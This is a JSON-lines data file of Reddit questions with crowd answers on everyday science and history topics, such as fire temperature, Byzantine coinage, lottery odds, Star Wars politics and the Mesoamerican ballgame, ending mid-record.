{"q_id": "bw89tb", "title": "how can fire be different temperature?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bw89tb/eli5_how_can_fire_be_different_temperature/", "answers": {"a_id": ["epvtx6j", "epvxvnh", "epvz28j"], "score": [49, 9, 7], "text": ["Fire is a chemical reaction between an oxidizer and a fuel source. Different combinations all combust at different points, so the intensity of the  thermal radiation produced by the chemical reaction will vary.", "A fire is a chemical reaction. You can imagine a molecule to be atoms (little marbles) linked by springs. All of the springs have difference stiffness, so breaking a spring releases energy, and the exact amount depends on a lot of things. When you create a new spring elsewhere, you create it with some energy.Take methane, for example. It's something that burns quite easily, it's formula is C1H4 : you have one 'marble' of carbon, 4 'marbles' of hydrogen and 4 springs, each one between the Carbon at the centre, to one Hydrogen around. When you burn it, you destroy the 4 springs, you take two O2 (that's two marbles of oxygen, linked together by a spring), and destroy those two springs too. Now you take the carbon, two oxygen and create two springs between the C and the two Os (that's CO2, carbon dioxide), and to do this you need some energy. Good news, you had some in your pocket since you broke all the springs at the beginning.\n\nNow you have to end the reaction, and you will create two molecules of water H2O. Once again, you need to create 'springs' to do this, and this requires energy.\n\nOverall, if you had more energy by breaking the old bounds (that's the real name for the springs) that you need to create the new ones, you will have at the end some energy left, and it will be heat : temperature rises.\n\nSo, different fires will have different temperatures because temperature is related to heat, and the heat released depends on the chemical reaction (that is, on what \"burns\").", "Water can be different temperatures, it can be hot or cold. (But it has to be between 32-212 \u00b0F.)\n\nIce can be be different temperatures, it can be cold, or really cold.  (But it has to be colder than 32 \u00b0F.)\n\nFire can be different temperatures, it can be hot, or really hot. (There is a minimum temperature, but it varies on material)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4gy9fb", "title": "In the West, at what point in time could I reasonably expect the average person to have cash on them? Would a 1600s European peasant use money on a daily basis? Would an 1800s American farmer?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4gy9fb/in_the_west_at_what_point_in_time_could_i/", "answers": {"a_id": ["d2m42ku"], "score": [26], "text": ["There's going to be a great deal of variability in terms of location, even within the West, but I actually just wrote a section on money in Byzantine Southern Italy for my dissertation.\n\nIn that area (roughly equivalent to modern Calabria, Basilicata, and Apulia), your average farmer/non-urban dweller would have interacted with physical money on a regular basis at least since the 9th century. Byzantium used a trimetallic system (copper *folles*, silver *miliaresia*, and gold *nomismata*, as we all as gold *tetartera* later on. The system changes completely at the end of the 11th century), though silver coinage seems to have been strangely absent from Italy. The copper coins may have been used by these villagers and farmers for ordinary purchases, but even if they did not regularly spend *folles* they would have handled the gold *nomismata* regularly for taxation purposes. \n\nTaxes were required to be paid in gold and were assessed based on territorial divisions, and the people living in this area (a *chorion*, which is also the term for a village) would be responsible for a set amount of taxes based on the value of the land as assessed by Constantinople. Some lands were also designated as military lands and would be responsible for a given number of soldiers and the money necessary for their equipment and provisioning (known as the *strateia*). Because these taxes were required to be paid in gold, there were presumably money changers available to swap the villagers' copper coinage for gold to be paid to the government since it's unlikely that people had gold coinage on hand given their value.\n\nBased on the documentary evidence as well as the number of coinage finds, it seems that money was pretty ubiquitous in the Byzantine world, including their western territories, by the 9th century (this would have been the case in the late antique world as well, but there is a break in the monetization of the empire during the crises of the 7th and 8th centuries. Whether people living in the countryside would have had a supply of coinage with them at all times is impossible to say, but having and spending physical money would not have been an uncommon practice.\n\nHope this helps, I'm curious to hear other answers for other parts of Europe!\n\nSources\n\n-Cecile Morrison, \"Byzantine Money: Its Production and Circulation\" in *The Economic History of Byzantium*.\n\n-Lucia Travaini, *La Monetazione nell'Italia Normanna* (Rome, 1995)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2nx5br", "title": "what is going through an animal's head when they spend a bunch of time preparing to jump to something, then actually jump and barely make any distance?", "selftext": "[This sort of thing](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2nx5br/eli5what_is_going_through_an_animals_head_when/", "answers": {"a_id": ["cmhq2vf", "cmhqvt7", "cmiiknq"], "score": [5, 18, 2], "text": ["They are using their senses and depth perception to gauge distances, etc.\n\nCats in particular can see great in the dark, though their visual acuity diminishes in bright light, which is why their eyes turn to slits, reducing their iris and improving their depth of field.", "In most of the clips and videos I've seen, it looks like the animal fails to get proper traction to launch itself. It spends the time mentally measuring the distance, but either misjudges their footing or how much grip they have at the time.\n\n\nMost/all of the videos I've seen, the cats are standing on a countertop, hardwood floor, desk, or in that case a balcony railing. Hard, smooth surfaces with little grip for traction. \n\n\nCat sees where it wants to go  >  leaps  >  feet slip = Failure to launch.", "// Initiate jump procedure.\n\n{\n\n   -acquiring skeletal muscle state\n\n   -calculating distance \n\n      /Left Eye [2.5\u00b0]\n      /Right Eye [2.6\u00b0] \n      = [.78 m]\n   -preparing skeletal muscle systems\n\n     /rear leg muscles for forward push\n\n     /back muscles for spinal arching\n\n     /front legs for takeoff and landing.\n\n   -inner ear sensitivity set to 'high'\n\n} system ready for launch\n\n//Launch\n\n    [CRITICAL ERROR]- Traction Lost!\n\n     < OH SHIT PROTOCOL ACTIVATED > \n\n       < ALL LIMBS SPREAD > \n       < ALL TOES SPREAD > \n       < LEG MODE (Absorb Shock) > \n       < SPINE ZEROED TO INNER EAR BUBBLE [0\u00b0 \u00b16\u00b0] > \n       < PRAYING TO BASTET > "]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=YeK4fFaDPI8"], "answers_urls": [[], [], []]}
{"q_id": "1k4byi", "title": "Were armies often pursued after routing to annihilation?", "selftext": "Or was it understood by both parties one side won and allowed the other to retreat?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1k4byi/were_armies_often_pursued_after_routing_to/", "answers": {"a_id": ["cbl8i0z", "cbl9h1v"], "score": [10, 3], "text": ["I don't know about most other eras since I mostly read on the Napoleonic Wars but I can tell you most victories, especially Napoleon's greatest victories, were followed by a destructive pursuit where annihilating the enemy was sought rather than an unexpected luxury.  \n\nA common Napoleonic strategy focused on flanking maneuvers which forced enemy commanders to commit reserves to reinforcing these flanks.  This would weaken the enemy's center; Napoleon would then begin massing his artillery and concentrating his main infantry-and-or-cavalry to assault the now undermanned center.  By taking the center, often where the opposing army's headquarters were, essentially all enemy units would be rendered ineffective in coordination after the battle.  This worked brilliantly against the coalition forces at Austerlitz but failed disastrously at Waterloo principally due to Wellington's conservative nature in using his reserves and the timely arrival of Prussian reinforcements.\n\nThe more relevant example of post-battle pursuit would be after the French victory at the Battle of Jena.  Napoleon rapidly sent his various corps to assault key forts, garrisons and armories in quick succession which led to tens of thousands captured, hundreds of thousands muskets confiscated and over a thousand cannons taken.  This crippled Prussia's western forces and immediately shifted the war east to Prussia's Polish territories were Russia was finally beginning to mobilize.  \n\nI think it's important to point out how radical this method was for the period.  This was a stark change from when monarchs would sue for peace after a relatively isolated but disastrous battle or campaign for the exchange of a few regional conclaves or monetary compensation.  Napoleon's pursuit after Jena was a dramatic shift in European diplomacy which saw that being a defeated nation was not a temporary financial setback but threatened annihilation of the state itself.  War itself was being less of an economic tool and more a diplomatic weapon and the simplest diplomacy is done by an victorious power against an unarmed state.\n\ntl:dr - Napoleon actively sought to fight and win battles of annihilation.  This was different from most earlier battles where simply taking the field was enough to warrant being called a victory, even if casualties were similar.  ", "Most of what I've read says that most casualties in ancient battles occurred after the rout. Most generals didn't want to just let the enemy get away to fight again. The Germanic army of Ariovistus ran for what [Caesar said](_URL_0_) was fifty miles after the battle, during which many of his men were killed or captured."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.perseus.tufts.edu/hopper/text?doc=Perseus%3Atext%3A1999.02.0001%3Abook%3D1%3Achapter%3D53"]]}
{"q_id": "5d82ux", "title": "Did George Lucas base the government in Star Wars on any historical examples?", "selftext": "There is a huge list of parallels or analogues in Star Wars in comparison to reality. Do these extend to its politics?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5d82ux/did_george_lucas_base_the_government_in_star_wars/", "answers": {"a_id": ["da2tblo", "da2toj7"], "score": [3, 7], "text": ["There is a lot.  The empire in Star Wars is largely modeled on Nazi Germany: The costume design for the imperials was strongly inspired by fascist governments, the name \"[Stormtrooper](_URL_2_)\" was taken from German paramilitary forces, \"Vader\" is the German word for \"Father\", and Lucas even [referred to Imperial officers as Nazis](_URL_0_) during the filming. The Empire's institutions are somewhat based on the Roman empire (for example, it used to have a Senate, but it was disbanded in favor of greater executive power), while the Emperor himself was modeled on Richard Nixon [according to Lucas](\n_URL_1_). ", "The political plot of the prequel trilogy does bring to mind the Roman revolution--the transition from a republic to an empire but the political system in the movies (neither the galactic republic nor the empire) resembles Roman governments.\n\nThe Roman Republic (509-27ish BCE depending on who you ask) was essentially ruled by a Senate. The Senate was made of wealthy Roman citizens who had held elected office. The Senate acted as a deliberative body which guided the magistrates (quaestors, aediles, praetors, and consuls) who did the dirty work administrating the government (money, public works, justice, and \"head of state\" respectively). In contrast, the Galactic Senate seems to be more of a pariliament where there is a chancellor elected to rule the Republic from among the Senators. A further contrast is that the Senate is made of delegations from the planets that make up the Republic. The Roman Senate was not meant to represent the interests of all the peoples Rome ruled, just the best men of Rome.\n\nThe transition from Republic to Empire is also fairly similar though in Rome the lead up was more about political intrigue on the part of Caesar and later Octavian than it was about war like in Star Wars. In Rome, beginning in 52 BCE, there were riots and political disputes concerning Julius Caesar who had spent the last 6 years in Gaul and wanted to return to Rome and hold office (otherwise he would be open to prosecution by his political enemies, Roman politicians were extremely litigious at the time which often led to vacant magistracies and further disorder). The next few years were a little more stable. The revolt of Vercingetorix put the question of Caesar's return on hold and Pompey had brought a semblance of order to Rome after holding an unprecedented solo consulship in 52. Anyways in 49 BCE, Caesar was denied the possibility of running for office in abstentia and marched on Rome to defend his dignity and the dignity of the tribunes who protested the decisions of the Senate (tribunes were a special magistrate who held the power to veto the Senate and magistrates and call for popular votes). This led to civil war lasting from 49-45 BCE all around the Mediterranean. In 49, Caesar, upon his return to Rome, was declared dictator, an office used when the consuls were unable to perform their duties which gave one man the powers of the consuls. These intrigues and particularly the popular politics of all this is entirely absent from Star Wars (unless you consider the rebellion an aspect of this).\n\nCaesar was famously murdered in 44 sparking another civil war between Caesar's partisans (Mark Antony and Octavian) and Caesar's assassins who were also magistrates (most notable Brutus and Cassius). In 43, before going to war with the assassins, Antony, Octavian, and a third man Lepidus were declared triumvirs in a popular vote. Essentially they were each made dictator of different regions of the Roman empire and they were elected with the specific mandtate (provincia in Latin) to restore order to the state (res publica in Latin). It is this moment which most resembles the creation of the Galactic Empire. The government, in the face of war, turns power over to a small group. By 32 BCE Octavian had successfully defeated the other two triumvirs and in 27 BCE he changed his name to Augustus, signalling the beginning of the Roman Empire. The transition was slow and perhaps Episode 4 shows some slowness too with the way Tarquin and Vader interact it seems that the Emperor does not hold authoritarian control just yet.\n\nThere is one more similarity in that the clone army is a privately raised army. The armies Octavian were levied by a person without imperium and Pompey had raised such an army in his youth. Likewise, Caesar, Antony, and Octavian kept armies beyond the scope on their imperium and raised armies from veteran soldiers, a pre-baked army similar to the clone army.\n\nLikewise, there was resistance to the changing political system particularly in 44 BCE, but by the time Octavian defeated Antony at the Battle of Actium in 32 BCE, there was simply no person or region of the empire with enough political power or military strength to challenge him. Even regional revolts seem to have been minor (though these could be covered up in the surviving sources). The events/parties of Episode 7 do not seem to have a parallel in Roman history as far as I can surmise.\n\nSo the plot is vaguely similar but the political institutions portrayed in Star Wars are not similar to Roman examples. Where public support, rioting and activism (on the part of volunteering in unofficial armies) is absent from Star Wars, it was integral in the Roman Revolution. Likewise the peculiar mix/conflict of oligarchy and democracy in the Roman political system which led to the civil wars is also absent in Star Wars.\n\nFor further reading on the Roman Revolution I suggest:\n\nRonald Syme: *The Roman Revolution*. An oldie but goodie. Syme is heavily influenced by the rise of fascism in Europe and the death of his colleague Munzer in the German camps and gives a dense history of the reasons Rome was able and even willing to change from Republic to Empire. \n\nP.A. Brunt: \"The Army and the Land\" and \"The Fall of the Roman Republic\" collected in *The Fall of the Roman Rebulic and Related Essays*. Brunt is very scholarly. Where Syme looks at the oligarchy at the top of Roman society, Brunt looks at the soldiers and the landed elite in these essays and attempts to answer why those groups went along with warring generals and Octavian.\n\nA more narrative textbook is Scullard's *Rome from Gracchi to Nero*. He covers 200 years of Roman history here in textbook style, so it's a good place to start."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.starwars.com/news/from-world-war-to-star-wars-imperial-officers", "http://www.history.com/news/the-real-history-that-inspired-star-wars", "http://www.starwars.com/news/from-world-war-to-star-wars-stormtroopers"], []]}
{"q_id": "3c5jbb", "title": "why is it woman and children first during natural disasters", "selftext": "I really dont understand", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3c5jbb/eli5_why_is_it_woman_and_children_first_during/", "answers": {"a_id": ["cssf5xl", "cssf8gz", "cssf96m", "cssfta1", "cssgxir", "cssgxwp", "cssi6yp", "cssl10c"], "score": [7, 7, 44, 3, 4, 2, 3, 2], "text": ["Men have a better chance to survive. It's based on the notion that women and children are weaker and need to be protected", "Because men are expendable in the grand scheme of keeping mankind alive. We need women to give birth (one every nine or so months). Children are our future, where as a handful of men can impregnated multiple women at the same time. ", "For women:\n\nWomen are needed for reproduction and rebuilding of the human race. One male can impregnate a lot of females to ensure that life goes on. If there is only one female and hundreds of males, re-population isnt going anywhere fast.\n\nFor children:\n\nThey are the future of the human race and naturally have a longer life expectancy than older males. 10 year old will remain on earth much longer than a 50 year old on average, especially with care from all the women being saved.\n\nBasically to make sure that the human race survives.", "Because children and women and disabled people are the most vulnerable members of society, and not as strong as a full grown man.  Therefore, they are the first to be evacuated in an emergency scenario", "The classic case of women and children first in the sinking of the HMS Birkenhead.  She was a military transport carrying British soldiers and some of their wives and children to South Africa.  She struck on a rock and began to sink, and since ships of the time did not carry life boats as such, but rather several ship's boats, some of which weren't usable, the captain knew he couldn't get everyone off in time.  He or the soldier's commanding officer gave the order for the 'still' to the troops, locking them into attention in their orderly lines, as the women and children were loaded into the boats.  The decks were awash by the time the men were freed to swim for it, and most drowned.  Chivalry, honor, and military discipline established that day a precedent that held true on the Titanic, with the cry of \"Women and children first.\"", "It's a hangover from chivalry and honour, in the older senses of that term. It ties in with death before dishonour. If it was learned that you saved your own life by taking a place from someone weaker, you would be shunned for such a selfish act (which would be read as effectively exploiting their weakness to cause their death) and your life would probably be not much better than if you died anyway. Your parents and spouse would probably prefer that you had died honourably, you might not get work, etc.", "Other answers haven't really explained that \"women and children first\" isn't practiced today (at least, not commonly). Any building, ship, airplane, etc. that needs to be evacuated is likely to evacuate those who need help first (such as children and the elderly) and all other able-bodied individuals follow in an orderly fashion. Wikipedia tells me that a maritime accident in Kentucky in 2011 used \"women and children first\" but I've never heard of it used any other modern evacuations (such as airplane emergency landings, of which there have been many). ", "Children first because they still have their whole life ahead.\n\nWomen first because equality only when it's convenient."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "rs5lh", "title": "how does criss angel walk on water?", "selftext": "I know it's not really magic...but how can people swim under him when he's walking on water? Special shoes?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/rs5lh/eli5_how_does_criss_angel_walk_on_water/", "answers": {"a_id": ["c487q42", "c4881yq", "c4892uw", "c48990x", "c489eku", "c489qj6", "c48a6zt", "c48a735", "c48aah4", "c48ajtp", "c48arb5", "c48b75f", "c48chbi", "c48clms", "c48d88b"], "score": [37, 124, 68, 12, 58, 19, 5, 4, 20, 4, 8, 3, 7, 5, 3], "text": ["Because Criss Angel is a hack?", "He uses actors in everything he does.", "ok ok ok, but how did Jesus do it?", "What about levitation?", "To a 5 year old?  I say magic!", "If I might piggyback this thread...how did Chris Angel do [this trick](_URL_0_)?", "Like this _URL_0_", "I had my high-school physics teacher explain this to us, they filled the entire pool up to the brim with mineral water and then just put a glass walkway in the center.", "I read that Penn and Teller had planned to do it with precisely timed jets of water. They stopped when stage construction proved to be cost prohibitive.", "Because he is being assisted by the stretched hands of David Blaine; who is living in the clouds. Watching over his faithful. Always. And forever. ", "I'd tell you, but I've been having trouble arranging my thoughts in cohesive sentences ever since my mind got *freaked*.", "I wouldn't want to spoil the trick to a 5 year old.", "A priest, a minister, and a rabbi go fishing.\n\nRight as they rowed to their fishing spot, the priest realizes they forgot their fishing poles. \"No problem. I'll just go get them,\" he says. He jumps out of the boat right onto the water, walks on top of the water to the truck, grabs the poles, and walks right back across the water and gets in the boat.\n\nThe rabbi is stunned, but before he can get a word out, the minister realizes he forgot the bait. He too jumps out of the boat, walks right across the water to the truck and then back to the boat.\n\nNow the rabbi is completely taken aback. There was no way this divine situation was strictly tied to the Christian cloth of the other two clergymen. \"Ah! I forgot the lunch,\" he says, jumps off the boat and falls smack into the water.\n\nThe priest looks at the minister look wondering what the rabbi's problem was. The minister shrugs and says, \"I guess he didn't see the rocks.\"", "ELI5: How does Criss Angel have an audience?  GOB is more entertaining.", "Plexiglass hollow cubes.  He steps from one to the other while his accomplices swim through the hollow cubes below him making it look he he's walking on water. At one point I spent a fair a,out of time trying to figure out his tricks. What I basically learned was that he hadv a lot of accomplices.  There used to be some videos on YouTube explaining how he did some of tricks.  Also whenever he says something like 'None of these people are actors' or 'No trick photography is used,' he's lying."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.snopes.com/photos/people/pullapart.asp"], ["http://www.youtube.com/watch?v=nTE3WmMnovY"], [], [], [], [], [], [], [], []]}
{"q_id": "2ewl4d", "title": "why is rancid meat considered more dangerous than rotten vegetables?", "selftext": "A friend just asked me this after showing me some green smelly ham. If that were cheese or a vegetable, I would have just cut the nasty bits out and ate it.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ewl4d/eli5_why_is_rancid_meat_considered_more_dangerous/", "answers": {"a_id": ["ck3miea"], "score": [6], "text": ["What sounds worst? Plant-eating bacteria or flesh-eating bacteria?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1yq7jb", "title": "why is the 1982 film blade runner considered a legendary and coveted masterpiece?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1yq7jb/eli5_why_is_the_1982_film_blade_runner_considered/", "answers": {"a_id": ["cfmrhlg"], "score": [5], "text": ["Well for one, scifi-noir was a rather inventive hybrid,  &  it is so well done on both fronts. I love PKD  &  find it to be possibly an improvement of his original story, which I would never say of Total Recall or Minority Report."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a2rl5u", "title": "why is open source code preferable to closed source for private communication?", "selftext": "There are lots of apps preferable for communication over FB messenger, some are open source and some are closed source. What does this mean, and why do people prefer open source? Thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a2rl5u/eli5_why_is_open_source_code_preferable_to_closed/", "answers": {"a_id": ["eb0l96c", "eb0lde5", "eb0ldu7", "eb0lhyn", "eb0r2hg"], "score": [6, 2, 5, 3, 2], "text": ["Because if code is open-source anyone can check how it works.\n\nWith a closed-source private communications app, you don't know if it sends every message you send to the owners cellphone.\n\nBut with an open-source app you can check that what it does.", "With open source Software you can determine whether or not your data is transferred securely by examining the source code", "The theoretical advantage of an open source app is that you (or someone you trust) can positively confirm that there are no issues with the app, such as it secretly sending all of your communications to a third party, or for example claiming to use a higher level of encryption, than it actually uses.\n\nOf course, you can also rely on the reputation (and business model) of close-source apps  and make your own judgments about their security.", "Open source means anyone can look at the program code which makes the program run, closed source means that code is not available.  \n\nPeople often prefer open source for secure communications because they (or somebody else) can look at the code and make sure it doesn't have any vulnerabilities that would allow someone to spy on what's being communicated.", "If the program is proprietary, you're trusting the advertising that it is doing what it says it's doing, that it is as secure as they say it is. In truth, when eventually exposed, typically proprietary solutions are almost nothing like advertised - they do not have a track record that instills confidence. While any given company may indeed be putting out a quality product, there's just no way of knowing, and given the history of proprietary software, why should you trust them?\n\nTake for instance, Slack. Slack is insanely popular among businesses for internal communication, despite the fact that IRC has been around for decades and does everything AND MORE than Slack can do...\n\nI digress. Slack openly admits they store all your company communication unencrypted. They trust in their ability to secure their servers from intrusion to protect your message history. I don't know if you're familiar with how Slack is used in businesses, but can you imagine the amount of sensitive information ends up on there? Forever? And you trust that they can keep their servers from being hacked? We hear of security breeches all the time, and we know that the majority don't get disclosed, even though by law a lot more of them should.\n\nIt's insane we trust any of these companies with our information. And once you pass it off into the hands of someone else, like Slack - it's not yours anymore, because you don't actually control access to it, they do.\n\nWhen it's open source, you can at least audit it for assurance it does the right thing, or perhaps you have faith that someone else has done so, and would have said something if there were big red flags. At least, companies that open their source code hold themselves publicly accountable, and that speaks to their integrity.\n\nOf course, if you use a service, you're always, ALWAYS trusting the advertising, and giving away everything you type in to them, since you're handing off your data to their servers. And you have no idea what they're doing behind those barriers. Take, for example, any sort of messaging through the phone network. It's not your network, you've no control, and it all filters through data centers for analysis and reporting, for advertising, for compliance, for national security. You agree to this in your TOS.\n\nThis is why it's valuable to use software that encrypts its contents and connects directly with your peers, or through a server you control. Then you know what happens to it, and you reduce your attack surface. Perhaps this is more important to companies than individuals, but you have a right to privacy, and you have to fight to preserve it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1zge6a", "title": "Is this statistically true? If the odds of winning a lottery are 400 million to 1 and you buy two tickets, you cut the odds to 200 million to 1?", "selftext": "*With DIFFERENT numbers on each ticket. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1zge6a/is_this_statistically_true_if_the_odds_of_winning/", "answers": {"a_id": ["cftjtt3", "cftjxkr", "cftzv4f"], "score": [8, 19, 2], "text": ["A lot has been written, but I'd like to explain how you calculate it.\n\nThe way you approach it depends on the kind of lottery. The easy one first: If it's a number lottery, where any one of the 400 million numbers is winning, it's relatively easy: There are 400 million different outcomes, n of them are \"good\", namely the ones you have tickets on. The probability of winning is simply n/400 mio. If you buy 400 mio tickets, the probability is one, or 100%, which makes sense: If you bet on every single possible outcome, any one of your tickets wins.\n\nThis is the answer to your question. **Yes.**\n\nNow things would be different if it were scratch cards, where every ticket independently has a chance of winning or failing. In this scenario, it would be possible to have multiple winning tickets. You want to calculate:\n\nP(at least one ticket wins) = P(one wins) + P(two win) + P(three win) ..., and that's extremely tedious and close to impossible, especially if you have many tickets.\n\nThe fruitful approach is to go with\n\nP(at least one wins) = 1 - P(no one wins). That's just one probability to calculate.\n\nP(no one wins) = P(first fails) * P(second fails) * ...\n\nP(no one wins) = 399'999'999/400'000'000 * 399'999'999/400'000'000 * 399'999'999/400'000'000 * ...\n\n= (399'999'999/400'000'000)^n\n\nThat leaves us with\n\nP(at least one wins) = 1 - (399'999'999/400'000'000)^n\n\nNotably, this probability approaches one, but never gets there(unlike the example above). If you buy a kazillion scratch cards, there is still the possibility that every single one of them fails. In this case, the answer to your question would be **no**, the chance would be ever so slightly smaller than 1/200mio. That being said, the function behaves damn near linear, so if you keep your n a lot smaller than your 400 mio, linear behaviour is a good approximation.", "If you specifically choose to buy tickets with different numbers then yes, it is. However, you're presumably spending twice as much money on them as well, so it doesn't make it any better an investment.\n\nIf you buy two tickets with the same numbers you won't change the probability that you win.", "It's true, but it's important to remember that buying a *third* ticket does **not reduce your odds in a linear fashion**. \n\nA third ticket does not reduce your odds to 100m/1, a fourth ticket will not get it down to 50m/1 and so on - if this was the case, you'd only need to buy about 33 tickets to get a 1/1 chance!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "niir8", "title": "how natural gas and oil are extracted from the earth", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/niir8/eli5_how_natural_gas_and_oil_are_extracted_from/", "answers": {"a_id": ["c39ehao", "c39ehao"], "score": [2, 2], "text": ["Oil and gas exists in deposits underground. It's most often under the ocean floor because oil is made of decomposed and compressed organic matter, a process that doesn't occur as easily on the surface of dry land. It can, but usually it's prevented by such things as weather conditions, animal consumption of the organic matter, or influence by human civilization. Not much happens on the bottom of the ocean, so dead seaweed, algae and fish form a layer which can then be sort of sealed by such things as calcified crustacean shells or sand.\n\nAfter millions of years under seal and pressure, this soup of rotting organic matter becomes oil. The process that turns it into oil can create natural (methane) gas, but most gas comes from marshes and such where it's easier to get and is created faster. Farts are also made of methane gas, but that would be rather difficult to collect. \n\nOil can exist in very large deposits, and this is why it can pour out in huge quantities if the deposit is opened and not kept under control - such as the BP oil spill. The reason we're starting to run out of oil is that it takes such a long time for it to create itself - some of the oil used today could be rotten dinosaurs.\n\nWhen oil is discovered, a very long drill drills its way into the deposit (this can be hundreds of feet into the bedrock) and plants a pipe in the hole so it can be tapped just like the faucet on a sink. Normally an oil rig is built around this pipeline to make it safe and practical for people to work there.", "Oil and gas exists in deposits underground. It's most often under the ocean floor because oil is made of decomposed and compressed organic matter, a process that doesn't occur as easily on the surface of dry land. It can, but usually it's prevented by such things as weather conditions, animal consumption of the organic matter, or influence by human civilization. Not much happens on the bottom of the ocean, so dead seaweed, algae and fish form a layer which can then be sort of sealed by such things as calcified crustacean shells or sand.\n\nAfter millions of years under seal and pressure, this soup of rotting organic matter becomes oil. The process that turns it into oil can create natural (methane) gas, but most gas comes from marshes and such where it's easier to get and is created faster. Farts are also made of methane gas, but that would be rather difficult to collect. \n\nOil can exist in very large deposits, and this is why it can pour out in huge quantities if the deposit is opened and not kept under control - such as the BP oil spill. The reason we're starting to run out of oil is that it takes such a long time for it to create itself - some of the oil used today could be rotten dinosaurs.\n\nWhen oil is discovered, a very long drill drills its way into the deposit (this can be hundreds of feet into the bedrock) and plants a pipe in the hole so it can be tapped just like the faucet on a sink. Normally an oil rig is built around this pipeline to make it safe and practical for people to work there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4tht9q", "title": "Anyone here ever had an internship at a museum?", "selftext": "This seems like the obvious place to ask. Not sure if this post is against the rules but I'm possibly getting an internship at a local museum and was wondering what to expect.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4tht9q/anyone_here_ever_had_an_internship_at_a_museum/", "answers": {"a_id": ["d5hjyp3"], "score": [2], "text": ["I've worked at internships and student jobs at seven or eight museums. If you want some specific answers, I'll need some specific questions. But I'll write you some tips I found useful.\n\nDo: Have an idea of what you want to get out of the experience. When you go in to talk with the museum staff about a potential internship, bring an idea of what skills you want to pick up, or types of projects you'd like to work on. Don't be afraid to speak up here. I know interns who don't do this, and get given busy work for 6 months.\n\nDon't: Expect a full time job at a museum from one internship. I've got a Masters degree and nearly a decade of experience, and its still hard finding full time work.\n\nDo: Talk with the staff before you agree to an internship. Make sure it's a good fit for both of you.\n\nDon't: Be afraid to get your hands dirty! You're doing a collection internship, but they're short staffed for a program? Working in education, but the collection storage room floods? Volunteer to help out, and learn from an entirely different department.\n\nDo: Have fun, but be professional! It's a terrible career field for those without a sense of humor, but we also get our work done. Us museum folk are an interesting bunch. \n\nHope that helped! Feel free to ask more questions as well!\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2uaurl", "title": "what is the difference between stockings, pantyhose, and tights?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2uaurl/eli5_what_is_the_difference_between_stockings/", "answers": {"a_id": ["co6pn01"], "score": [10], "text": ["[Stockings](_URL_1_) require a belt and suspenders to hold them up.\n\n[Pantyhose (called tights in the UK)](_URL_2_) go all the way up to the waist.  I understand some people see them as underwear in their own right (hence the \"panty\" bit of pantyhose, but there is some contention.  \n\n[Tights ](_URL_0_)are what pantyhose are called in the UK, but it seems that the term tights in the US means thicker, or coloured pantyhose.  Something that might not be so transparent and sexy.  Less formal.\n\nThen there are [holdups](_URL_3_) which are like stockings but without the belt, they are usually elasticated at the top, or with a strip of grippy stuff that stops it from falling down from the thighs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://3.bp.blogspot.com/-MQBbAlAe2fE/TlgVwKxIqfI/AAAAAAAAAHI/LDR4IhIiE-8/s1600/tights.png", "http://www.mytights.com/blog/uploads/Individual10Stocking_Black.jpg", "http://www.legluxe.com/images/products/05_MAGIC_PANTYHOSE_151_Camel21.jpg", "http://johnlewis.scene7.com/is/image/JohnLewis/000083102?$prod_main$"]]}
{"q_id": "4qj0b5", "title": "How certain are we that the mesoamerican ball game involved the sacrifice of the losers? And what was the true significance of the game?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4qj0b5/how_certain_are_we_that_the_mesoamerican_ball/", "answers": {"a_id": ["d4tfd6c"], "score": [17], "text": ["This is something that is still being debated in academia. I tend to lean on the side that no one was actually sacrificed, but instead the imagery we see in ballcourts or on murals or painted on ceramics does not necessarily represent actual events taking place (at least in the case of the Maya). Instead this imagery of the ballgame and someone being sacrificed is tied into the Hero Twin myth made popular by the Popol Vuh and later backed by the Bonampak murals as being a central myth to Maya mythology and religion. In the Hero Twin myth, the father of the Hero Twins, as well as his twin brother, challenges the gods of the underworld to a ballgame. They end up losing and the father is beheaded. It is only later, after his head has sprouted into a tree, that he spits into the hand of a young woman who becomes impregnated with the Hero Twins. After being raised by their mother and grandmother, the Twins set out to restore their father's head to his body. There is explicit imagery that ties the ballgame ball with severed heads, sometimes using the actual head as a ball. \n\nI 